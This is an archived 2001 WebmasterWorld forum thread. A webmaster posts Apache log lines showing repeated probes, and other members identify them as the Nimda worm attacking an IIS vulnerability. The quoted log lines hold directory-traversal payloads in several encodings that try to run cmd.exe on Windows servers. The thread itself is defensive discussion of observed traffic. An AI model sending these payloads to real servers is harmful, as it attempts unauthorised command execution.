homepage Welcome to WebmasterWorld Guest from 54.196.159.11
register, free tools, login, search, pro membership, help, library, announcements, recent posts, open posts,
Become a Pro Member

Visit PubCon.com
Home / Forums Index / WebmasterWorld / Website Analytics - Tracking and Logging
Forum Library, Charter, Moderators: Receptional & mademetop

Website Analytics - Tracking and Logging Forum

    
1200 logs in 12h
Why is that ?
marcello




msg:905409
 4:08 pm on Sep 18, 2001 (gmt 0)

I think they try to get info , but I am running linux...<br>
<code>
216.191.176.126 - - [18/Sep/2001:09:02:42 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:43 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:44 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:45 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:46 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:47 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:48 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:52 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:53 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284
216.191.176.126 - - [18/Sep/2001:09:02:54 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284
216.191.176.126 - - [18/Sep/2001:09:02:55 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
216.191.176.126 - - [18/Sep/2001:09:02:56 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 106
</code>

 

mark_roach




msg:905410
 4:24 pm on Sep 18, 2001 (gmt 0)

Marcello

Looks like it could be some type of virus. It is being discussed here:

[webmasterworld.com...]

I am also seeing it in my logs.

skirril




msg:905411
 4:38 pm on Sep 30, 2001 (gmt 0)

AFAIK this is the so called nimda worm.
As can be seen it tries to execute some shell on winnt/win2k/win xp?, using a hole in the MS IIS.

Apache is not vulnerable, afaik (except to the heavy loss of bandwidth).

Global Options:
 top home search open messages active posts  
 

Home / Forums Index / WebmasterWorld / Website Analytics - Tracking and Logging
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Home ¦ Free Tools ¦ Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About ¦ Library ¦ Newsletter
WebmasterWorld is a Developer Shed Community owned by Jim Boykin.
© Webmaster World 1996-2014 all rights reserved